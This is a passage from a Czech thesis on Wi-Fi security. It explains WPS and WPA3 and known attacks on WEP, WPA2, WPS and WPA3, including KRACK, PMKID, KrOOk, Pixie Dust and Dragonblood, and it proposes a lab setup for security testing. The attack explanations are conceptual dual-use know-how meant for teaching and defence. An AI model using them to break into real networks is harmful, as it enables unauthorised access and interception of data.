proto nevhodně zvolená hesla v p ř ípadě použi t í P S K autentizace. Pokud je použ i tá 

autentizace 802.lx, j edná se o nebezpečnější protokol rodiny 802.11. 

1.4 W P S 

Dalš ím použ ívaným bezpečnos tn ím standardem v rámci W i - F i sítí je W P S ( W i - F i 

Protected Setup). Není sice součást í rodiny 802.11, ale úzce s ní souvisí, a pro oblast 

bezpečnost i je důležitý. B y l navržen sdružením W i - F i Alliance jako alternativa k 

pro tokolům W E P a W P A 2 v roce 2007. D ů v o d e m bylo poměrně složité nastavování 

těch to protokolů pro obyčejné uživatele v rámci jejich domácích sítí. W P S tak m á 

být j akýmsi z jednodušením celého procesu a nabízí j ednoduché nas tavení celé sítě. 

Nejedná se tedy o plné nahrazen í protokolů 802.11. [16] 

Podstatou W P S je možnos t př ipojování nových zařízení do sítě co nej jednoduš-

ším způsobem. V rámci W P S se rozlišují čtyři režimy, jak tohoto dosáhnout . Dva z 

nich jsou součást í W P S certifikací, dva z nich jsou volitelné alternativy. 

1.4.1 I n - B a n d režimy 

Tyto dva režimy jsou povinné, pokud chce A P získat certifikaci W P S . J e d n á se o 

režim P B C (Push-Button-Connect) a režim P I N (Personál Identification Number). 

P I N 

V tomto režimu se využívá un iká tn ích P I N kódů. Každé zařízení, k te ré W P S 

podporuje, m á t akovýto P I N . U většiny rou te rů bývá bud uveden př ímo na š t í tku 

zařízení, nebo je vidi telný v nas tavení . Uživatel tedy pouze musí zadat P I N př ís tu­

pového bodu. [12] 

Další možnos t í je zadat P I N nového zařízení p ř ímo do A P . Když se pak v okolí 

A P ocitne zařízení s t ím to P I N kódem, je zařízení zas lána výzva na zadán í P I N kódu 

A P . Po jeho zadán í dojde k au tomat izované autentizaci.[16] 

P B C 

V tomto režimu uživatel nové zařízení připojí s t i sknut ím t lač í tka (fyzického nebo 

vir tuálního) jak na A P , tak na zařízení, k te ré chce připoj i t . Lhůta , b ě h e m které je 
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připojení na A P akt ivní , je časově omezená (většinou na 120 sekund), a pokud 

dojde k úspěšnému př ipojení nového zařízení, je nutno znovu tuto funkci aktivovat 

dalš ím zmáčknu t ím t lač í tka [16]. N a většině rou te rů se j e d n á o fyzické t lačí tko, často 

označované jako QSS (Quick Security Setup). 

1.4.2 O u t - o f - B a n d režimy 

Tyto dva režimy nejsou vyžadovány k udělení licence W P S . Jsou poměrně vzácné a 

málo využívané. J e d n á se o režimy N F C a U S B . 

• N F C - k přenesení dat po t řebných ke konfiguraci se využije N F C (Near-Field 

Communication) komunikace. Je tedy nutno přiblížit zařízení co nejblíže k A P . 

• U S B - k přenesení dat je použ i to U S B zařízení 

1.5 Zabezpečení p r o t o k o l u W P A 3 

V roce 2018 byl zveřejněn nový standard, k te rý definoval nový typ zabezpečení , 

běžně nazývaný W P A 3 . Tento standard řeší mnoho z n e d o s t a t k ů W P A 2 a umožňuje 

tak bezpečnější používání bezdrá tové sítě. Největším rozdílem je komple tně nová 

autentizace, k t e rá zamezuje několika nejčastějším t y p ů m ú toků [17]. 

P r v n í m p rob lémem W P A 2 , k te rý je zde řešen, jsou o tevřené W i F i sítě. T y jsou 

využívány stále většími poč ty lidí, ale př ináší naprosto nulovou ochranu dat. Data 

jsou v takovýchto sítích nešifrovaná, a sítě jsou tak velmi zrani te lné vůči Man-in-the-

Middle ú t o k ů m . W P A 3 toto nepovoluje. I u o tevřených sítí musí být data šifrována 

pomocí protokolu O W E (Opportunistic Wireless Encryption) [18]. 

Dalš ím p rob lémem je neexistence dopředně bezpečnost i u W P A 2 . Pokud ú točník 

odhal í používaný klíč, j ednoduše pak dokáže dešifrovat veškerou komunikaci, k te rá 

tento klíč používá. A to do té doby, dokud nedojde k jeho změně, což může trvat 

velmi dlouhou dobu. U W P A 3 existuje t akzvaná dop ředná bezpečnost . To znamená , 

že ú točník , k te rý odhalil klíč dokáže dešifrovat pouze komunikaci, k t e rá již proběhla , 

novou komunikaci s klíčem nedešifruje. To je řešeno tak, že při každé nové asociaci 

mezi klientem a A P jsou vygenerovány nové klíče. Pokud tedy ú točn ík tyto klíče 

objeví, dokáže j im i dešifrovat komunikaci jen do doby, kdy se klient a A P znovu 

asociují. 

Některé ú t o k y na sítě W P A 2 využívají toho, že v tomto standardu není n u t n é 

zabezpečovat r ámce typu Management. To ú t o č n í k ů m umožňovalo tyto rámce fal­

šovat a např ík lad donutit klienta, aby se odpojil od A P pomocí deautent izačních 

rámců . W P A 3 povinně implementuje standard I E E E 802.11w-2019, k te rý zajišťuje 

ochranu některých t y p ů rámců . Management rámce , k teré jsou vyslány po čtyř-

cestné výměně , např ík lad tedy deautentizace, jsou zde šifrovány, t akže je již nejde 
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falšovat. Management rámce , k teré jsou posí lány před autent izací , jako např ík lad 

Probe, žádost i o asociaci a další, chráni t nelze. 

Jednou z hlavních slabin W P A 2 jsou slabě zvolená hesla. Pokud se j e d n á o častě 

se vyskytující heslo, lze využí t slovníkového ú t o k u ke zlomení tohoto hesla. Není 

ani vyžadována komunikace s A P , ú tok lze provést offline. To je obrovský problém 

a W P A 3 jej řeší novou au ten t izační metodou S A E (Simultaneous Authentication of 

Equals), k t e rá komple tně nahrazuje autentizaci P S K . 

S A E využívá výměny Dragonfiy Key Exchange. J e d n á se o protokol s nulovou 

znalost í využívající eliptické křivky, nemělo by tedy být možné odposlechem zjistit 

jakékoliv informace o používaných klíčích. Výměna m á dvě fáze - commit a confirm. 

V prvn í fázi se vytvoř í urči té hodnoty nebo také „commit keys", s t í m že je zde 

využi to prob lému diskré tního logaritmu. Pomocí těchto hodnot a p ř e d e m sdíleného 

hesla je pak v d ruhé fázi vy tvořen šifrovací klíč. Tento šifrovací klíč je tedy uni­

ká tn í pro každé př ipojení klienta a A P , což zajišťuje dopřednou bezpečnos t . Jelikož 

jsou využívány un iká tn í hodnoty, ke k t e r ý m se strany dohodnou při asociaci, nelze 

provádět offline slovníkové ú toky [19]. 

Pro korporá tn í sítě existuje verze WPA3-Enterprise . Autentizace je zde o b d o b n á 

802. l x . Šifrování opět využívá C C M P , s podporou delších klíčů. Konkré tně u W P A 3 -

Enterprise je to až 192-bitů. 

W P A 3 také umožňuje použi t í protokolu D P P (Device Provisioning Protocol), 

k te rý je obdobou zas tara lého a nebezpečného W P S . D P P zjednodušuje připojování 

chytrých zařízení do sítě, předevš ím pak zařízení IoT, kde klasické př ihlášení není 

j ednoduché . 

F iná ln í službou, kterou W P A 3 může zajišťovat, je z p ě t n á kompatibil i ta s W P A 2 

v t akzvaném WPA3-Trans i t ion m ó d u . Všechny A P , k te ré poskytuj í př ipojení W P A 3 , 

by měly umožňovat s imul tánn í př ipojení pomocí W P A 2 pro klienty, k teř í ješ tě ne­

mají podporu W P A 3 . 

Celkově se tak zdá, že W P A 3 řeší naprostou většinu slabin předchozích protokolů, 

a do budoucna tak nabízí silně zabezpečené W i F i sítě. Momentá lně je dostupnost a 

rozšířenost protokolu velmi ma lá ale dá se p ředpok láda t , že se s časem W P A 3 stane 

d o m i n a n t n í m bezpečnos tn ím protokolem W i F i sítí. 
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2 Z r a n i t e l n o s t i W i - F i 

Jak již bylo naznačeno v minulé kapitole, protokoly rodiny 802.11 mají ř a d u pro­

blémů a zrani te lnost í . V t é t o kapitole budou tyto zranitelnosti popsány. 

2.1 Z r a n i t e l n o s t i p r o t o k o l u W E P 

2.1 .1 Z r a n i t e l n o s t a u t e n t i z a c e S h a r e d K e y 

P r o b l é m e m Shared K e y autentizace je, že n á h o d n ě vygenerované číslo je posí láno v 

podobě cleartextu - není zašifrované a lze jej tedy bez problémů přečíst . Když pak 

ú točník zachyt í uživatelovu odpověď, k t e rá obsahuje zašifrované číslo, získá t í m pár 

či telného a zašifrovaného textu. Zjistí taky použi tý IV , k te rý je posí lán zároveň se 

zašifrovanou zprávou. 

W E P používá proudovou šifru R C 4 , k t e r á funguje j e d n o d u c h ý m způsobem -

vezme proud b i tů (angl. keystream) vygenerovaný šifrou R C 4 za použi t í sdíleného 

klíče, a provede operaci X O R se v s t u p n í m d a t o v ý m tokem. Výsledkem t é t o ope­

race je zašifrovaný text. Útočník tedy může znovu provést X O R mezi č i te lným a 

zašifrovaným textem, a t í m dostane použi tý keystream. [8] 

Teď už útočníkovi stačí jenom zažáda t o autentizaci u A P a pak pomocí zjiš­

t ěného keystreamu zašifrovat př i ja té n á h o d n é číslo, k teré pak spolu se dříve zachy­

ceným I V pošle zpět . Z pohledu A P pak ú točn ík zná sdílený klíč a autentizuje ho. 

Tento ú tok je graficky znázorněn na obrázku 2 .1. 

Pokud A P nepoužívá šifrování W E P k nás lednému přenosu dat, je ú tok hotov a 

ú točník může normálně komunikovat uvn i t ř sítě. Pokud ovšem šifrování je použi to , 

ú točník se sice autentizuje, ale komunikovat dál nemůže , jelikož nezná používaný 

klíč. [9] 

2 .1 .2 S l a b i n y šifrování W E P 

I s amotné šifrování protokolu W E P není považováno za bezpečné . P r v n í m problé­

mem je použ i t á hashovací funkce C R C - 3 2 . C R C tot iž p r imárně slouží k zjišťování 

chyb vzniklých v důs ledku selhání techniky, a ne jako funkce zajišťující datovou in­

tegritu. Data zde nejsou nijak chráněna proti umělé modifikaci, tedy situaci, kdy 

ú točník modifikuje data a pak p řepoč í t á C R C . [8] 
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Obr. 2.1: Útok na Shared K e y autentizaci 

Použ i t á šifra R C 4 přes tává být bezpečnou, pokud je jeden keystream použi t ví­

cekrát . Z tohoto důvodu W E P využívá 24-bitový I V . Toto je ovšem nedos ta t ečná 

délka, protože po přenosu přibližně 5000 zpráv je, v důsledku Narozeninového pa­

radoxu, dosaženo 50% šance že dojde k opakování až 4 I V [20]. T í m p á d e m se tedy 

využívá stejný keystream. Útočník tak nas loucháním komunikace dokáže získat dva 

šifrované texty, k te ré byly zašifrovány s te jným klíčem a IV . Následnou kryptoana-

lýzou pak lze zprávy dešifrovat a odvodit využi tý keystream. [21] 

Dalš ím p rob lémem je také nedos ta t ečná délka klíče - v základní verzi 40 bi tů . 

Tak krá tké klíče jde prolomit poměrně rychle i pomocí ú toku hrubou silou, popř ípadě 
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využi t ím slovníkového ú toku . [6] 

Dost možná největším p rob lémem celého W E P je ale fakt, že v celém protokolu 

neexistuje jakákol iv v ý m ě n a nebo správa klíčů. [21] Klíče jsou stat ické a nedos ta tečné 

velikosti. 

2 .1 .3 Útok C a f f e L a t t e 

Název tohoto ú toku odkazuje na to, že ú točn ík dokáže zjistit používané heslo b ě h e m 

času, b ě h e m něhož je možné vypí t jedno latte. Tento ú tok je specifický t ím, že se 

j edná o ú tok na klienta. Není tedy vůbec p o t ř e b a nacházet se v blízkosti A P , ke 

k teré chce ú točn ík zjistit používaný klíč. Tento ú tok zneužívá skutečnost i , že klient 

se někdy přihlásil k síti používající W E P a pomocí A R P pake tů z něj lze dostat 

použi tý W E P klíč, i když už se nachází mimo tuto síť. Toto je možné , pro tože každé 

uživatelské zařízení, k te ré zrovna není př ipojeno k žádné síti, vysílá sondovací pakety 

již známých sítí. 

Ty to pakety jsou typu A R P a jsou šifrované dříve použ ívaným W E P klíčem. 

Jelikož W E P nedokáže k l i en tům zajistit, že se opravdu přihlašují k zamýšlenému 

A P , a ne k falešné verzi, lze takového klienta př inu t i t , aby se připojil k falešnému 

A P , kterou vlas tn í ú točník . 

V normáln í situaci klient po asociaci s falešnou A P vyšle několik zašifrovaných 

A R P pake tů , což není dost k zjištění klíče. Caffe Latte funguje tak, že vezme tyto 

A R P pakety a prohazováním b i tů je p řemění na pakety A R P Request. N a ty k l i ­

ent automaticky odpoví A R P Reply. Útočník tak dokáže nasimulovat provoz tisíců 

pake tů , což už s tačí k zjištění hesla. [22] 

2 .2 Z r a n i t e l n o s t i protokolů W P A a W P A 2 

2.2 .1 Z r a n i t e l n o s t a u t e n t i z a c e P S K 

Největší zrani te lnost í autentizace P S K jsou špa tně volená hesla. Bohužel se stále 

ukazuje, že množs tv í W i - F i př ipojení používá j ednoduše u h o d n u t e l n á hesla. Je tedy 

doporučováno používat silná hesla dos ta tečné délky, aby nemohlo dojí t ke slovníko­

v ý m ú t o k ů m a k ú t o k ů m hrubou silou. 

Takový ú tok větš inou p rob íhá následujícím způsobem. Nejdříve ú točn ík zachytí 

č tyřces tnou výměnu mezi klientem a A P . T í m p á d e m zjistí kontrolní zprávy M I C 

k j edno t l ivým šifrovaným zprávám. Dále si zapamatuje M A C adresy obou stran a 

čísla ANonce a SNonce, což jsou vše otevřeně posílané informace. V tomto m o m e n t ě 

schází pouze zjistit použi tý klíč P M K . Ten se derivuje z použ i tého hesla. Útočník 

následně hrubou silou vypočí tává P M K k hes lům ve slovníku. Po té jsou jednot l ivé 
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P M K , spolu se zachycenými údaj i , dosazeny do hashovací funkce pro výpočet klíče 

P T K . Tento klíč je dále použi t k v ý p o č t u M I C zpráv. Pokud souhlasí se zachycenými 

M I C zprávami, byl použi tý P M K správný, a t í m p á d e m je heslo u h á d n u t o . Přibl ižné 

schéma ú toku je na obrázku 2.2. 

Klient 

Ctyřcestná 
výměna 

A P 

Odposlouchávání 

Slovník M A C adresy 

Útočník 

"SNonce" 
"ANonce" 

Výpočet P M K 
Z 

Výpočet P T K 

Výpočet MIC 

MIC zprávy 

Porovnání 

Obr. 2.2: Útok hrubou silou na W P A ( P S K ) 

Nevýhodou P S K sítí je také , že pokud se ú točn ík dokáže dostat do sítě, je pro něj 

t r iviální dešifrovat provoz v rámci t é t o sítě, pro tože je používán stejný klíč. Proto 

se doporučuje nad protokolem W E P ještě používat další bezpečnos tn í protokol jako 

např . T L S (Transport Layer Security). 

2 .2 .2 K R A C K 

P r v n í větší zrani te lnost í protokolu W P A 2 , k t e rá m á velké riziko porušení bezpeč­

nosti, je ú tok K R A C K (Key Resinstallation Attack) . Tento ú tok byl objeven v roce 

2016 a jeho existence byla zveřejněna v roce 2017. Útok zneužívá zranitelnosti v 

s a m o t n é m protokolu, konkré tně v návrhu č tyřces tné výměny. P r o b l é m e m je, že lze 

některé implementace tohoto protokolu donutit, aby používaly b ě h e m t é t o výměny 

několikrát za sebou klíč se s te jným IV, což umožňuje k ryp toana lýzu . 

30 



Konkrétněj i se j edná o Man-in-the-Middle ú tok, ve k t e r ém ú točn ík zas taví č tvr­

tou zprávu výměny, což donut í A P vyslat znovu t ř e t í zprávu, což u klienta způsobí 

resetování P T K a znovu použi t í s tejného čísla „nonce". Tohoto pak jde zneužít k pře­

hrávání , dešifrování či padě lán í pake tů . V některých implementacích (Android 6.0) 

t é t o výměny dokonce dojde k resetování použ i tého klíče na samé nuly. P rob l ém byl, 

že žádný standard nespecifikoval, j a k ý m způsobem reagovat na situaci, kdy jedna 

ze zpráv ve výměně dorazí vícekrát . 

Vůči ú t o k u K R A C K jsou zran i te lná předevš ím kl ientská zařízení a A P podpo­

rující protokol 802 . l i r . Tento protokol, také označovaný jako „fast BSS transition" 

(FT) nebo pouze „fast roaming", umožňuje rychlé přechody mezi jednot l ivými A P 

v rámci j edné W i F i sítě. Tato funkce se hodí při rychlém fyzickém pohybu klienta 

v rámci sítě, kde je nežádoucí , aby se klientovo zařízení kons tan tně autentizovalo u 

nových A P . 

Naš těs t í jde tato zranitelnost řešit softwarovými updaty a momen tá lně už většina 

zařízení není vůči tomuto ú toku zrani te lná . [23] 

2 .2 .3 Útok pomocí P M K I D 

V roce 2018 byl objeven nový způsob získání zahashovaného klíče P M K používaného 

v dané W i F i síti [24]. N a základě toho pak lze hrubou silou zjistit používaný klíč 

P M K , a t í m p á d e m i tedy používané heslo. Rozdíl oproti přechozím ú t o k ů m hrubou 

silou je, že již není vyžadováno zachycení č tyřces tné výměny mezi A P a ně jakým 

klientem. 

Je zde zneužíváno toho, že některé E A P O L rámce typu Management, jako na­

příklad Beacon frame, Probe response nebo žádost i a odpovědi o asociaci, obsahují 

dobrovolné pole R S N - I E (Robust Security Network Information Element). Toto pole, 

k teré m á max imáln í délku 255 by tů , obsahuje informace týkající se zabezpečení sítě, 

jako např ík lad podporované au ten t izační metody nebo používané šifrování. Jednou 

z informací je pak také tzv. P M K I D . P M K I D (Pairwise Master Key Identifier) slouží 

k rychlejší autentizaci u sítí podporuj íc ích roaming, jako je např ík lad již zmiňovaný 

protokol 802 . l i r . 

Zranitelnost pak spočívá v tom, j a k ý m způsobem je P M K I D vypočí táván . J e d n á 

se o hash tvořený z používaného klíče P M K , hodnoty „ P M K Name", M A C adresy 

A P a klienta. Konkré tně lze hash popsat rovnicí: 

PMKID = HMAC-SHA -128 (PMK , "PMK Name" | MAC AP | MAC 
k l i e n t a ) 

P M K zde slouží jako klíč k hashování , zbytek hodnot tvoří hashovaná data. Po­

kud je tedy P M K I D zachyceno, lze hrubou silou odvodit i používané P M K , protože 

os ta tn í údaje jsou známé . Realisticky je opět spíše nutno využí t slovníkového ú toku 
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a z ran i te lná jsou pouze špa tně zvolená hesla. Výhodou tohoto ú t o k u je, že není nutno 

zachytávat autentizaci klienta a A P , nevýhodou pak je fakt, že z ran i te lná jsou pouze 

A P využívající nějakou roamingovou službu. 

Samotný ú tok je pak proveden poměrně jednoduše . Útočník A P vyšle žádost 

o asociaci a A P odpoví r á m c e m obsahujícím P M K I D . P M K I D je pak prolomen 

uti l i tou se zvoleným slovníkem. Ut i l i t a vytvoř í pro hesla ve slovníku hashe, a pokud 

se shodují se zachyceným P M K I D , je heslo nalezeno. [25] 

2 .2 .4 KrOOk 

Zat ím nejnovější objevenou zrani te lnost í je ú tok nazvaný KrOOk. B y l objeven tý­

mem zkoumajícím bezpečnos t nového protokolu W P A 3 v roce 2019 a zveřejněn v 

únoru 2020. Zranitelnost zde spočívá v návrhu některých W i F i čipů, konkrétněj i ve 

způsobu, j a k ý m se vypořádávaj í s šifrováním pake tů . Zjednodušeně čipy obsahují 

buffery, do k terých si ukládaj í př i ja té nebo odesílané pakety p řed t ím, než dojde k 

jejich zašifrování či dešifrování. Čas to se s tává, že se v takovém bufferu ocitne několik 

pake tů , k teré pak čekají na to, až dojde k zašifrování pake tů před nimi . 

Čip dále obsahuje paměť, do které je uložený šifrovací klíč, konkré tně se j edná 

o d o h o d n u t ý T K . V momen tě , kdy zařízení dostane žádost o ukončení připojení , 

je tento šifrovací klíč p řepsán na samé nuly. P r o b l é m e m však je, že mezi t ím se 

stále může v bufferu zařízení nacházet několik pake tů , k teré čekají na zašifrování 

a odeslání . P ř i š p a t n é m zacházení dojde k tomu, že jsou tyto pakety zašifrovány 

p řepsaným klíčem a poslány dál. Toto je samozřejmě obrovský problém, protože je 

t r iviální tyto pakety dešifrovat. Velmi z jednodušené schéma t é t o situace lze vidět na 

obrázku 2.3. P rvn í schéma ukazuje normáln í situaci, d ruhé situaci po ukončeném 

připojení . 

Útok pak p rob íhá j e d n o d u c h ý m způsobem. Útočník pošle zařízení falešnou žá­

dost o deautentizaci, což zařízení udělá a vyšle špa tně zašifrované pakety, k teré se 

nacházely v bufferu. Útočník je zachyt í a dešifruje, čímž se dostane k p řenášeným 

d a t ů m . Toto lze provádět opakovaně, a t í m p á d e m lze získat poměrně velké množs tv í 

pake tů . Schéma ú toku lze vidět na obrázku 2.4. 

Tento ú tok m á naš těs t í několik nevýhod. Útočník nikdy nemůže vědět , j aký typ a 

kolik pake tů se v bufferu nachází . I když se tedy ú tok povede, p ravděpodobnos t , že se 

dostane k ci t l ivým d a t ů m není velká. Buffery také maj í omezenou velikost (většinou 

32 kb), což také může omezit rozsah škod. Pokud však ú točn ík m á štěst í , může se 

mu podař i t získat velmi citlivá data, jako přihlašovací údaje , osobní úda je atd. Vše 

za p ředpokladu , že není používáno žádné další šifrování (např . T L S ) . Ukazuje se 

tedy, jak důležité je nespoléhat pouze na jednu vrstvu zabezpečení , ale chráni t data 

důkladněj i . 
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Obr. 2.3: Zjednodušené schéma zranitelnosti KrOOk uvn i t ř W i F i čipu 

Zranitelnost KrOOk byla nalezena v celé řadě smar tphonů , některých rou te rů ale 

např ík lad i u chytrých r ep roduk to rů Amazon Echo. [26] 
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Obr. 2.4: Zjednodušené schéma ú toku KrOOk 

2 .3 Z r a n i t e l n o s t i W P S 

W P S je v dnešní době považováno za nebezpečný protokol. P ře s to je u většiny 

rou te rů v zák ladu zapnut. P rob lémy spočívají jak v návrhu protokolu samotném, 

tak v implementaci některých výrobců. 

2.3 .1 Útok n a P I N 

Hlavní p rob lém protokolu je v P I N kódu, k t e rý je špa tně navržen. 

P I N je složen z 8 číslic, což by teoreticky dávalo 100 000 000 možnost í . O s m á 

číslice je ovšem pouze kontrolní součet, což okamži tě redukuje počet možnost í na 10 

000 000. P r o b l é m e m je, že W P S zpracovává poslaný P I N velmi specifickým způso­

bem. Když se uživatel zkusí př ihlási t ně jakým P I N kódem, A P tento P I N rozdělí na 

dvě části o 4 číslicích. Nejdříve zkusí, zda první čtyři číslice odpovídaj í sp rávnému 

P I N kódu. Pokud jsou správné, přejde na druhou čtveřici číslic. 

V situaci, kdy prvn í čtyři číslice odpovídaj í a d ruhé čtyři neodpovídaj í , pošle 

A P klientovi zprávu o t é to situaci. To výrazně zmenšuje počet kombinací , k teré 

je p o t ř e b a vyzkoušet , na 11 000 (10 000 z prvních čtyř číslic a 1 000 z dalších tří , 
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protože finální je jenom kontrolní součet) . To je naprosto nedos ta tečný počet a W P S 

se tak s tává nebezpečně zrani te lné vůči ú t o k ů m hrubou silou [16]. 

Mitigací t é to zranitelnosti je např ík lad omezení uživatele jen na urč i tý poče t 

pokusů zadání P I N kódu a nás ledného zamí tnu t í dalších pokusů . Ne každý router 

však takovouto funkci má . 

2 .3 .2 P i x i e D u s t 

V roce 2014 byla nalezena další zranitelnost W P S protokolu, spočívající ve špa tné 

implementaci P I N kódu [27]. 

Během autentizace pomocí W P S dochází k re la t ivně dlouhé výměně , zranitelnost 

se t ýká prvních 3 zpráv. V první zprávě pošle A P otevřený klíč P K E (Public Key 

Enrollee) a n á h o d n é číslo N I . Klient odpoví svým o tevřeným klíčem P K R (Public 

K e y Registrar) a n á h o d n ý m číslem N2. V tento moment si A P vypoč í t á hashe E -

Hash l a E-Hash2 popsané jako: 

E-Hashl = HMAC(AuthKey)(E-Sl, PSK1, PKE, PKR) 
E-Hash2 = HMAC(AuthKey)(E-S2 , PSK2, PKE, PKR) 

kde 

• H M A C - hashovací funkce 

• A u t h K e y - klíč vy tvořený pomocí čísel N I a N2 

• E - S l - n á h o d n ě vygenerované číslo nonce 

• E-S2 - n á h o d n ě vygenerované číslo nonce 

• P S K 1 - p rvn í čtyři číslice P I N kódu 

• P S K 2 - d ruhé čtyři číslice P I N kódu 

. P K E - klíč P K E 

. P K R klíč P K R 

Tyto hashe slouží k tomu, aby si klient mohl ověřit , že se př ipojuje k A P , k teré 

zná P I N . Čísla E - S l a E-S2 jsou pos lána později ve výměně . 

Do t é t o fáze se lze dostat bez znalosti P I N kódu (viz obrázek 2.5). V tento 

moment tedy klient (útočník) zná klíče P K E , P K R a A u t h K e y a dále hodnotu obou 

hashů. Pokud by součást í hashe nebyly E - S l a E-S2, bylo by t r iviální vypoč í t a t 

hodnoty P S K I a P S K 2 vzhledem k ma lému p o č t u možnost í . Bezpečnost výměny 

tedy závisí na dobře vytvořených a nepředvída te lných číslech E - S l a E-S2. Jak se 

ovšem v roce 2014 ukázalo, spousta výrobců rou te rů tento krok velmi zanedbává. 

Bylo zjištěno, že někteř í výrobci tato „ n á h o d n á " čísla generují spolu s číslem 

N I , k teré však posílá klientovi. Pokud je z n á m postup, k t e r ý m A P n á h o d n á čísla 

generuje, je možné si je, na základě hodnoty N I , vypoč í t a t . Ješ tě horší jsou případy, 

kdy E - S l a E-S2 vůbec generovány nejsou, a jejich hodnota je tak 0 [27]. 
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hasne 

Obr. 2.5: P r v n í fáze ú toku Pixie Dust 

Ze znalosti t ěch to čísel už pak lze vypoč í t a t hodnoty P S K 1 a P S K 2 , a t í m pá­

dem získat P I N kód. Útok, k te rý toto realizuje, se větš inou nazývá Pixie Dust. Tato 

slabina komple tně anuluje veškerou bezpečnost , kterou mají protokoly 802.11 zajiš­

ťovat, a je proto doporučováno funkci W P S (nebo min imálně používání P I N kódů) 

vypnout [27]. 

2 .4 Z r a n i t e l n o s t i W P A 3 

I přes to , že W P A 3 je stále novinkou v oblasti bezpečnostn ích protokolů 802.11, byly 

u něj velmi brzo objeveny zranitelnosti. 

2.4 .1 D r a g o n b l o o d 

Již v dubnu 2019, tedy ani ne rok po zavedení W P A 3 , byla zveřejněna výzkumná 

práce, za kterou stojí stejný t ý m jako za objevením K R A C K u , k t e rá poukáza la hned 

na několik zrani te lnost í v protokolu W P A 3 , dohromady nazývaných Dragonblood 

[28]. Dají se rozdělit do dvou kategorií : útoky, k teré donut í zařízení downgrade na 

W P A 2 , i když dokážou používat W P A 3 , a ú toky zneužívající slabiny protokolu Dra-

gonfiy. 

V p rvn ím př ípadě se zneužívá m ó d u WPA3-Trans i t ion . Útočník zde vytvoř í fa­

lešnou A P používající W P A 2 , k t e r á imituje A P používající W P A 3 . Klient se pak 

omylem připojí k falešné A P , a ú točn ík tak zachyt í čás t výměny, k t e rá pak umožní 

36 



slovníkový útok. Tento ú tok lze provést i v př ípadech, kdy se klient původně př ipo­

juje k A P , k t e r á používá pouze W P A 3 a n e m á zapnu tý Transition mód . 

Další downgrade ú tok pak zneužívá slabiny ve výměně Dragonfly. Ve fázi „com-

mit" se obě strany dohodnou na tom, jaké typy grup b ě h e m výměny používat . 

Útočník pomocí falešné A P dokáže donutit klienta, aby používal méně bezpečné 

grupy. 

Dále byly objeveny dva ú toky pos t r ann ími kanály. 

P r v n í z nich je založen na času, k te rý A P t rvá k odpovědi na r ámce b ě h e m 

fázi „commit". Záleží zde na tom, j aké grupy jsou používány. Pokud je využíváno 

eliptických křivek doporučených institutem NIST , je tento ú tok nemožný. Pokud 

jsou však využívány křivky typu Brainpool nebo M O P D (Modulo a Prime), dá se 

na základě časové odezvy odvodit s amotné heslo. Respektive se dá provést slovníkový 

útok, kde je odezva p o r o v n á n a s odezvami hesel ve slovníku. 

Druhý z nich využívá znalosti p ř í s tupu do p a m ě t i zařízení b ě h e m vytváření 

r ámců ve fázi „commit". N a základě způsobu, k t e r ý m je k d a t ů m v p a m ě t i při­

s tupováno, lze po t é slovníkovým ú tokem odvodit, heslo používané b ě h e m výměny. 

Toto je možné v momentech, kdy ú točn ík ovládá nějakou aplikaci na zařízení obět i . 

Teoreticky to může být i JavaScript běžící v prohlížeči obět i . 

Poslední ú tok je typu Denial-of-Service. Zpracování r á m c ů ve fázi „commit" je 

poměrně náročné na výkon, a to předevš ím v situacích, kdy jsou využívány obrany 

proti ú t o k ů m pos t r ann ího kaná lu spotřeby. V takovém př ípadě stačí útočníkovi , aby 

n a p a d a n é m u A P poslal několik „commit" r ámců (během výzkumu stačilo jenom 16 

takových r á m c ů ) , a t í m dokáže přet íž i t C P U zařízení. To způsobí zpomalení , vybi t í 

a narušení provozu A P . 

Po vydán í těchto zrani te lnost í byla v y d á n a doporučení , jak se j i m vyhnout, fak­

tem však je, že W P A 3 rozhodně není komple tně bezpečným protokolem. Je zde 

nutno podotknout, že výzkumníci , k teř í Dragonblood objevili, poukazuj í , na to, že 

některé z p rob lémů byly známy ješ tě p řed vydán ím protokolu. N a W i - F i Alliance 

se t aké snesla kr i t ika kvůli uzavřenému vývoji protokolu a neumožnění ex te rn ím 

v ý z k u m n í k ů m podrobit W P A 3 t e s t ů m před jeho vydání . [29] 
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3 Nástroje p r o ověřování bezpečnosti W i - F i 

K tes tování bezpečnost i s t a n d a r d ů 802.11 existuje velké množs tv í softwarových a 

hardwarových nás t ro jů . V rámci práce byl proveden náv rh l abora to rn ího pros t ředí 

a vybrány vhodné softwarové a hardwarové prvky. 

3.1 H a r d w a r e 

Pro realizaci tes tování je zapo t řeb í testovací poč í tač . Ten musí mí t možnost zachy­

táva t bezdrá tový provoz k čemuž slouží W i - F i a d a p t é r y (či W i - F i karty) [20]. Zde je 

p o t ř e b a velké opatrnosti, p ro tože ne každý adap t é r se hodí k testování . Musí tot iž 

podporovat tzv. moni torovací režim, k te rý umožňuje odposlouchávání komunikace 

[12]. Zda a d a p t é r tento režim na t ivně podporuje, závisí na chipsetu, k t e rý používá. 

Větš ina komerčně prodávaných, běžných W i - F i a d a p t é r ů tento režim nepodporuje 

[30]. 

A d a p t é r y větš inou podporu j í některé z těchto 3 režimů: 

• n o r m á l n í r e ž i m - v tomto režimu karta zachytává pouze rámce určené p ř ímo 

jí na základě M A C adresy. Tento režim podporu j í všechny W i - F i karty. 

• p r o m i s k u i t n í r e ž i m - v tomto režimu karta dokáže zachytit všechen provoz 

v rámci j edné sítě, ke které se však musí nejdříve přihlási t . Pro účely tes tování 

tedy není příliš uži tečná. Větš ina karet tento režim podporuje. 

• m o n i t o r o v a c í r e ž i m - v tomto režimu karta dokáže zachytit veškeré rámce 

bez ohledu na jejich cíl a bez ohledu na to ve které síti se karta nachází . Toto 

je velmi uži tečné pro testování , jelikož je možné odposlouchávat komunikaci v 

rámci sítě, ke k te ré chceme získat p ř í s tup . Větš ina karet tento režim nepod­

poruje. 

Dále je p o t ř e b a jako součást tes tovacího pros t ředí p ř í s tupový bod a zařízení 

simulující klienta. Jako př í s tupový bod nejlépe slouží router, v rámci tes tování bez­

pečnost i by měl podporovat co nejvíce bezpečnostn ích protokolů a funkcí ( W E P , 

W P A , W P A 2 , W P S , W P A 3 ) . Klientem může být další poč í tač nebo i mobi lní tele­

fon. Kr i té r iem je opět podpora bezpečnostn ích protokolů. 

3.1 .1 Softwarově definované rádio 

V rámci práce bude také p rozkoumána možnos t využi t í Softwarově definovaného 

rád ia (SDR) k tes tování bezpečnos t i protokolů 802.11. Softwarově definovaná rádia 

jsou rádiové systémy, jejichž komponenty jsou implementovány předevš ím softwa­

